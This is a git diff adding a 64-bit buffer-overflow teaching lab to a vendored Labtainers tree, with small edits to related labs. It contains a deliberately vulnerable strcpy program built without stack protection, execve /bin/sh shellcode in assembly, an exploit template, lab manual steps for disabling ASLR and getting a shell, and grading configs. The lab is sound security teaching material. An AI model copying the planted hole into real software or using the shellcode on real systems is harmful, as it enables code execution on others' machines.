QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/buf64/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/buf64/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/buf64/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/buf64/compile.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/buf64/compile.sh new file mode 100755 index 000000000..e96c3deb7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/buf64/compile.sh @@ -0,0 +1,15 @@ +#!/bin/bash +# +# Compile programs associated with the buf64 lab +# +# +# Program that writes the "bad file". +# This is the program the student modifies to craft the +# bad file to cause the buffer overflow. +# +gcc -o exploit exploit.c +# +# compile the vulnerable program with no stack protector +# and allow execution from the stack +# +gcc -g -o stack -fno-stack-protector -z execstack stack.c diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/buf64/exploit.c b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/buf64/exploit.c new file mode 100755 index 000000000..24c61d604 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/buf64/exploit.c @@ -0,0 +1,33 @@ +/* exploit.c */ + +/* A program that creates a file containing code for launching shell*/ + +#include +#include +#include + +/* fix the shell code */ +char shellcode[]= "eh?"; + +unsigned long get_sp(void) +{ + __asm__("movl %esp,%eax"); +} + +void main(int argc, char **argv) +{ + char buffer[1000]; + FILE *badfile; + +/*--------Initialize buffer with 0x90 (NOP instruction)--------*/ + + memset(buffer, 0x90, sizeof(buffer)); + +/*Add your changes to the buffer here */ + + +/* Save the contents to the file "badfile" */ + badfile = fopen("./badfile", "w"); + fwrite(buffer,1000,1,badfile); + fclose(badfile); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/buf64/hexit.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/buf64/hexit.py new file mode 100755 index 000000000..59fc79c65 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/buf64/hexit.py @@ -0,0 +1,10 @@ +#!/usr/bin/env python3 +# +# Read a binary file, and output it as a C string +# +import sys +from pathlib import Path +f = sys.argv[1] +data = Path(f).read_bytes() +stuff = '\\x'+'\\x'.join(format(x, '02x') for x in data) +print(stuff) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/buf64/shell.asm b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/buf64/shell.asm new file mode 100755 index 000000000..4870dcdc6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/buf64/shell.asm @@ -0,0 +1,15 @@ +; 22 byte execve("/bin//sh", 0, 0) for linux/x86-64 + + bits 64 + + push 59 + pop rax ; eax = 59 + cdq ; edx = 0 + push rdx ; NULL + pop rsi ; esi = NULL + mov rcx, '/bin//sh' + push rdx ; 0 + push rcx ; "/bin//sh" + push rsp + pop rdi ; rdi="/bin//sh",0 + syscall diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/buf64/stack.c b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/buf64/stack.c new file mode 100755 index 000000000..3851b0fa5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/buf64/stack.c @@ -0,0 +1,32 @@ +/* stack.c */ + +/* Lab Exercise - Buffer Overflow */ +/* This program has an buffer overflow vulnerability. */ +/* Your task is to exploit this vulnerability */ + +#include +#include +#include +int bof(char *str) +{ + char buffer[BUFFER_SIZE]; /* originally 12 in SEED labs */ + + //BO Vulnerability + strcpy(buffer,str); + + return 1; +} + +int main(int argc, char* argv[]) +{ + char str[1000]; /* originally 517 in SEED labs */ + + FILE *badfile; + badfile = fopen("badfile","r"); + + fread(str, sizeof(char),1000, badfile); /* originally 517 in SEED labs */ + bof(str); + + printf("Returned Properly\n"); + return 1; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/config/about.txt new file mode 100644 index 000000000..27b612d2e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/config/about.txt @@ -0,0 +1 @@ +Similar to the bufoverflow lab, but with a 64-bit application. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/config/keywords.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/config/keywords.txt new file mode 100644 index 000000000..f1e7b3747 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/config/keywords.txt @@ -0,0 +1,2 @@ +buffer overflow +exploit diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/config/parameter.config new file mode 100644 index 000000000..91f42318f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/config/parameter.config @@ -0,0 +1,10 @@ +# parameter.config +# +# Please see ..../docs/labdesigner.md + +# Size of the buffer to be overflowed. +rand1 : RAND_REPLACE : /home/ubuntu/stack.c : BUFFER_SIZE : 100 : 500 + +roothash : HASH_REPLACE : /root/.secret : ROOT_SECRET : mysupersecretrootfile +userhash : HASH_REPLACE : /home/ubuntu/.secret : UBUNTU_SECRET : mysupersecretubuntufile + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/config/start.config new file mode 100644 index 000000000..501ba8a41 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/config/start.config @@ -0,0 +1,37 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED buf64_mike_master_seed + + # Uncomment the following to cause the content of the lab/docs directory + # to be collected and included in the student artifacts. + # COLLECT_DOCS YES + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +# NETWORK DMZ_LINK +# MASK 172.25.0.0/24 +# GATEWAY 172.25.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections. +# +CONTAINER buf64 + USER ubuntu + SCRIPT NONE + X11 YES diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/dockerfiles/Dockerfile.buf64.buf64.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/dockerfiles/Dockerfile.buf64.buf64.student new file mode 100644 index 000000000..758cc4d82 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/dockerfiles/Dockerfile.buf64.buf64.student @@ -0,0 +1,71 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.base +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/docs/Makefile new file mode 100644 index 000000000..60a66dd1d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/docs/Makefile @@ -0,0 +1,8 @@ +buf64.pdf: buf64.tex header.tex + latex buf64 + pdflatex -jobname=buf64 buf64 + pdflatex -jobname=buf64 buf64 + +clean: + rm -fr auto + rm -f *.aux *.log *.pdf *.dvi *.out diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/docs/buf64.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/docs/buf64.pdf new file mode 100644 index 000000000..0e54df5fb Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/docs/buf64.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/docs/buf64.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/docs/buf64.tex new file mode 100644 index 000000000..cea6234f0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/docs/buf64.tex @@ -0,0 +1,92 @@ +\input{header} +\begin{document} + +\begin{center} +{\LARGE Buffer Overflow: 64 Bit Application} +\vspace{0.1in}\\ +\end{center} + +\section{Overview} +The {\tt bufoverflow} lab introduced you to buffer overflow vulnerabilities and potential exploits of those +vulnerabilities. That lab included a vulnerable program that ran as a 32-bit x86 application. +This lab includes the very same vulnerable program source code, however it compiles and runs as a 64-bit application. + +\subsection {Background} +The student is expected to have an understanding of the Linux command line, and some amount of low level programming. +It is expected that the student will have completed the {\tt bufoverflow} lab. + +\section{Lab Environment} +\label{environment} +This lab runs in the Labtainer framework, +available at http://nps.edu/web/c3o/labtainers. +That site includes links to a pre-built virtual machine +that has Labtainers installed, however Labtainers can +be run on any Linux host that supports Docker containers. + +From your labtainer-student directory start the lab using: +\begin{verbatim} + labtainer buf64 +\end{verbatim} +\noindent A link to this lab manual will be displayed. + +The home directory of the resulting computer contains the source code of the vulnerable program ({\tt stack.c}) and +a template for the program that constructs the malicious data file ({\tt exploit.c}). It also includes files for generating +shell code. + +\section{Tasks} +You will modify the {\tt exploit.c} program such that it generates a malicious data file that will cause the +vulnerable program to enter a shell. This lab does not require that you get a root shell -- an application shell +is sufficient. And your exploit need only run with Address Space Layout Randomization disabled, with an executable +stack, and with stack protection disabled. + +A learning objective of this lab is to appreciate some of the differences between 32-bit and 64-bit x86 applications, +and how those differences might affect vulnerabilities and exploits. + + +\subsection{Explore} +Review the differences between the files in this lab, and the files in the {\tt bufoverflow} lab. Note the {\tt stack.c} +files are the same -- but with potentially different buffer sizes. Look at the assembly in {\tt shell.c} and compare that +to the assembly comments to the object code found in the {\tt bufoverflow exploit.c} file. + +Disable ASLR: +\begin{verbatim} + sudo sysctl -w kernel.randomize_va_space=0 +\end{verbatim} +\noindent and use the {\tt compile.sh} script to compile the C programs and assemble the shell.asm +Run the {\tt stack} program. Run it in the debugger. Explore. + +\subsection{Shell code} +In this lab, you will need to update the {\tt exploit.c} program to include the shell code. Observe that the 64-bit +shell code has been assembled into the shell.bin file. You must figure out how to get that into your {\tt exploit.c} +program. Note you have been provided with a Python script called {\tt hexit.py}, and that may be of use. Look at the +file from the {\tt bufoverflow} lab as an example. + +\subsection{Overwriting return address} +By now you should have observed that the {\tt stack} program crashes when it encounters a bad return address. +As in the {\tt bufoverflow} lab, you will want to control that return address value. + +What might you want that return address value to be? Consider the properties of such a value and how that might +affect the {\tt strcpy} function behavior. + +\subsection{Get a shell} +Alter the {\tt exploit.c} so that it generates a badfile that causes the {\tt stack} application to give you a shell. +Once you get a shell, cat the exploit.c file from within the shell: +\begin{verbatim} + cat exploit.c +\end{verbatim} + +\subsection{Follow on} +Think about how you might approach an exploit if the {\tt stack.c} program were compiled without disabling stack protection +and stack execution. + +\section{Submission} +After finishing the lab, go to the terminal on your Linux system that was used to start the lab and type: +\begin{verbatim} + stoplab +\end{verbatim} +When you stop the lab, the system will display a path to the zipped lab results on your Linux system. Provide that file to +your instructor, e.g., via the Sakai site. + +\copyrightnotice + +\end{document} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/docs/header.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/docs/header.tex new file mode 100644 index 000000000..9a636a2b9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/docs/header.tex @@ -0,0 +1,118 @@ +\documentclass[11pt]{article} + +\usepackage{times} +\usepackage{epsf} +\usepackage{epsfig} +\usepackage{amsmath, alltt, amssymb, xspace} +\usepackage{wrapfig} +\usepackage{fancyhdr} +\usepackage{url} +\usepackage{verbatim} +\usepackage{fancyvrb} +\usepackage{float} + +\usepackage{subfigure} +\usepackage{cite} +\usepackage{hyperref} +\hypersetup{% + pdfborder = {0 0 0} +} +\topmargin -0.50in % distance to headers +\oddsidemargin 0.0in +\evensidemargin 0.0in +\textwidth 6.5in +\textheight 8.9in + + +%\centerfigcaptionstrue + +%\def\baselinestretch{0.95} + + +\newcommand\discuss[1]{\{\textbf{Discuss:} \textit{#1}\}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} +\newtheorem{problem}{Problem}[section] +%\newtheorem{theorem}{Theorem} +%\newtheorem{fact}{Fact} +\newtheorem{define}{Definition}[section] +%\newtheorem{analysis}{Analysis} +\newcommand\vspacenoindent{\vspace{0.1in} \noindent} + +%\newenvironment{proof}{\noindent {\bf Proof}.}{\hspace*{\fill}~\mbox{\rule[0pt]{1.3ex}{1.3ex}}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} + +%\newcommand\reducespace{\vspace{-0.1in}} +% reduce the space between lines +%\def\baselinestretch{0.95} + +\newcommand{\fixmefn}[1]{ \footnote{\sf\ \ \fbox{FIXME} #1} } +\newcommand{\todo}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{TODO: #1}} +\vspace{0.1in} +} + +\newcommand{\mybox}[1]{ +\vspace{0.2in} +\noindent +\fbox{\parbox{6.5in}{#1}} +\vspace{0.1in} +} + + +\newcounter{question} +\setcounter{question}{1} + +\newcommand{\myquestion} {{\vspace{0.1in} \noindent \bf Question \arabic{question}:} \addtocounter{question}{1} \,} + +\newcommand{\myproblem} {{\noindent \bf Problem \arabic{question}:} \addtocounter{question}{1} \,} + +\newcommand{\copyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{ + This lab was developed for the Labtainer framework by the Naval Postgraduate + School, Center for Cybersecurity and Cyber Operations under sponsorship from + the DoD CySP program. This work is in the public domain, and cannot be copyrighted.}} +\vspace{0.1in} +} + +\newcommand{\idea}[1]{ +\vspace{0.1in} +{\sf IDEA:\ \ \fbox{\parbox{5in}{#1}}} +\vspace{0.1in} +} + +\newcommand{\questionblock}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{#1}} +\vspace{0.1in} +} + + +\newcommand{\argmax}[1]{ +\begin{minipage}[t]{1.25cm}\parskip-1ex\begin{center} +argmax +#1 +\end{center}\end{minipage} +\; +} + +\newcommand{\bm}{\boldmath} +\newcommand {\bx} {\mbox{\boldmath $x$}} +\newcommand {\by} {\mbox{\boldmath $y$}} +\newcommand {\br} {\mbox{\boldmath $r$}} + + +\newcommand{\tstamp}{\today} +%\rfoot[\fancyplain{\tstamp} {\tstamp}] {\fancyplain{}{}} + +\pagestyle{fancy} +\lhead{\bfseries Labtainers} +\chead{} +\rhead{\small \thepage} +\lfoot{} +\cfoot{} +\rfoot{} + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/docs/read_first.txt new file mode 100644 index 000000000..f3deb021e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/docs/read_first.txt @@ -0,0 +1,6 @@ +buf64 lab-- Read this first + +The lab manual for this lab is at: +file://LAB_DOCS/buf64.pdf +Right click on the above link to open the lab manual. + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/instr_config/goals.config new file mode 100644 index 000000000..f84f6b36b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/instr_config/goals.config @@ -0,0 +1,4 @@ +# goals.config +# + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/instr_config/pregrade.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/instr_config/pregrade.sh new file mode 100755 index 000000000..791a2f574 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/instr_config/pregrade.sh @@ -0,0 +1,42 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +# Script to run prior to grading a student's lab. It is intended +# for two potential purposes: +# 1) Create solution artifacts to campare against student artifacts; +# 2) Process student artifacts into a different form, e.g., extracting +# browser sqlite data as in the default instance of this file below. +# +# +# +homedir=$1 +# destdir includes the container +destdir=$2 +dbg=/tmp/pregrade.log +cd $homedir/$destdir +is_sqlite=`which sqlite3` +if [ ! -z $is_sqlite ]; then + #echo $is_sqlite + here=`pwd` + places=$here/.mozilla/firefox/*default/places.sqlite + for fname in $(ls $places 2> /dev/null); do + if [[ -f $fname ]]; then + outpath=$here/.local/result + outfile=$outpath/moz_places.txt + mkdir -p "$outpath" + sqlite3 "$fname" "SELECT moz_places.* FROM moz_places;" >"$outfile" + fi + done +fi + +# +# Add other processing below. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/instr_config/results.config new file mode 100644 index 000000000..2b3e6a49f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/instr_config/results.config @@ -0,0 +1,7 @@ +# results.config +# + +# DOC: Did the student get a shell and cat the exploit.c file? +shell = stack.stdout : CONTAINS : cat exploit.c + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/bufoverflow/whilebash.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/bufoverflow/whilebash.sh index 1aee1e5d0..d377241ea 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/bufoverflow/whilebash.sh +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/bufoverflow/whilebash.sh @@ -8,6 +8,7 @@ # Arguments: # None +trap "exit" SIGINT gotroot=0 while [ $gotroot -eq 0 ] do diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/config/keywords.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/config/keywords.txt new file mode 100644 index 000000000..f1e7b3747 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/config/keywords.txt @@ -0,0 +1,2 @@ +buffer overflow +exploit diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/docs/Buffer_Overflow.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/docs/Buffer_Overflow.tex index 069ecd24e..350bb661d 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/docs/Buffer_Overflow.tex +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/docs/Buffer_Overflow.tex @@ -22,8 +22,8 @@ \section{Lab Overview} -The learning objective of this lab is for students to gain the first-hand -experience on buffer-overflow vulnerability by putting what they have learned +The learning objective of this lab is for students to gain first-hand +experience with a buffer-overflow vulnerability by putting what they have learned about the vulnerability from class into action. Buffer overflow is defined as the condition in which a program attempts to write data beyond the boundaries of pre-allocated fixed length buffers. This @@ -34,6 +34,10 @@ storage for controls (e.g. return addresses): an overflow in the data part can affect the control flow of the program, because an overflow can change the return address. +This lab builds off of concepts introduced in the \textit{overrun} lab. +While the overrun lab is not a prerequisite to performing this lab, it may help +students are are new to low level references to data structures. + In this lab, students will be given a program with a buffer-overflow vulnerability; their task is to develop a scheme to exploit the vulnerability and finally gain the root privilege. In addition to the @@ -356,13 +360,11 @@ on the address randomization: If running the vulnerable code once does not get you the root shell, how about running it for many times? You can run {\tt ./stack} using the whilebash.sh script, and see what will happen. If your exploit -program is designed properly, you should be able to get the root shell -after a while. You can modify your exploit program to increase the +program is designed properly, you would eventually be able to get the root shell. +You can modify your exploit generation program to increase the probability of success (i.e., reduce the time that you have to wait). -After getting a root shell, display the secret file (this is required): -\begin{verbatim} - cat /root/.secret -\end{verbatim} +You may get lucky and get a root prompt before too long. Otherwise use +{\tt ctrl c} to break out of the whilebash.sh script. \subsection{Task 3: Stack Guard} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/docs/Makefile index adb0f2064..7239e1153 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/docs/Makefile +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/docs/Makefile @@ -1,5 +1,6 @@ bufoverflow.pdf: Buffer_Overflow.tex header.tex pdflatex -jobname=bufoverflow Buffer_Overflow + pdflatex -jobname=bufoverflow Buffer_Overflow clean: rm -fr auto diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/docs/bufoverflow.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/docs/bufoverflow.pdf index 8c466a0a9..f78ccbf3b 100644 Binary files a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/docs/bufoverflow.pdf and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/docs/bufoverflow.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/instr_config/goals.config index a5de3ad7f..e6e996417 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/instr_config/goals.config +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/instr_config/goals.config @@ -8,9 +8,8 @@ gain_root_priv = matchany : string_equal : rootsecret : parameter.roothash _aslron = matchany : integer_equal : aslr_setting : answer=2 -_looproot = matchany : string_equal : whilesecret : parameter.roothash -#DOC: Did the student get a root shell & display /root/.secret with ASLR enabled? -while_get_root = boolean : ( _aslron and _looproot ) +#DOC: Did the student run the whilebash.sh with aslr on? +while_run = boolean : ( _aslron and ( _whiledump or _whileroot ) ) # DOC: Experimented with enabling stack guard? stack_protect = matchany : string_equal : crashStringCanary : answer=smashing diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/instr_config/results.config index 08927ff55..acb4f1dc6 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/instr_config/results.config +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/instr_config/results.config @@ -7,6 +7,8 @@ rootsecret = stack.stdout : 6 : STARTSWITH : My ROOT secret string is: aslr_setting = precheck.stdout : 3 : STARTSWITH : kernel.randomize_va_space -whilesecret = whilebash.sh.stdout : 6 : STARTSWITH : My ROOT secret string is: +whilecount = whilebash.sh.stdout : LINE_COUNT +_whiledump = whilebash.sh.stdout : CONTAINS : core dumped +_whileroot = whilebash.sh.stdout : CONTAINS : # crashStringCanary = stack.stdout : 3 : STARTSWITH : *** stack smashing detected diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/config/keywords.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/config/keywords.txt new file mode 100644 index 000000000..af919b56e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/config/keywords.txt @@ -0,0 +1,3 @@ +capabilities +least privilege +setuid diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/docs/Capability_Exploration.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/docs/Capability_Exploration.tex index c6580cba5..25b287500 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/docs/Capability_Exploration.tex +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/docs/Capability_Exploration.tex @@ -35,7 +35,7 @@ to limit privilege. \section{Lab Environment} This lab runs in the Labtainer framework, -available at http://my.nps.edu/web/c3o/labtainers. +available at http://nps.edu/web/c3o/labtainers. That site includes links to a pre-built virtual machine that has Labtainers installed, however Labtainers can be run on any Linux host that supports Docker containers. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/docs/capabilities-report.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/docs/capabilities-report.docx new file mode 100644 index 000000000..c4fdfebe2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/docs/capabilities-report.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/docs/capabilities.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/docs/capabilities.pdf index 6cdb53aa2..cddb64ad8 100644 Binary files a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/docs/capabilities.pdf and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/docs/capabilities.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/instr_config/instructions.txt deleted file mode 100644 index 667cd20ad..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/instr_config/instructions.txt +++ /dev/null @@ -1 +0,0 @@ -Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/docs/centos-log.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/docs/centos-log.pdf index 114b4b57c..745ed5af1 100644 Binary files a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/docs/centos-log.pdf and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/docs/centos-log.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/instr_config/instructions.txt deleted file mode 100644 index 667cd20ad..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/instr_config/instructions.txt +++ /dev/null @@ -1 +0,0 @@ -Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/config/keywords.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/config/keywords.txt new file mode 100644 index 000000000..069dd2986 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/config/keywords.txt @@ -0,0 +1,3 @@ +log +syslog +intrusion detection diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/docs/centos-log.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/docs/centos-log.pdf index 34545e9f7..b5ee755e6 100644 Binary files a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/docs/centos-log.pdf and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/docs/centos-log.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/instr_config/instructions.txt deleted file mode 100644 index 667cd20ad..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/instr_config/instructions.txt +++ /dev/null @@ -1 +0,0 @@ -Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/buildfiles/common_names.txt 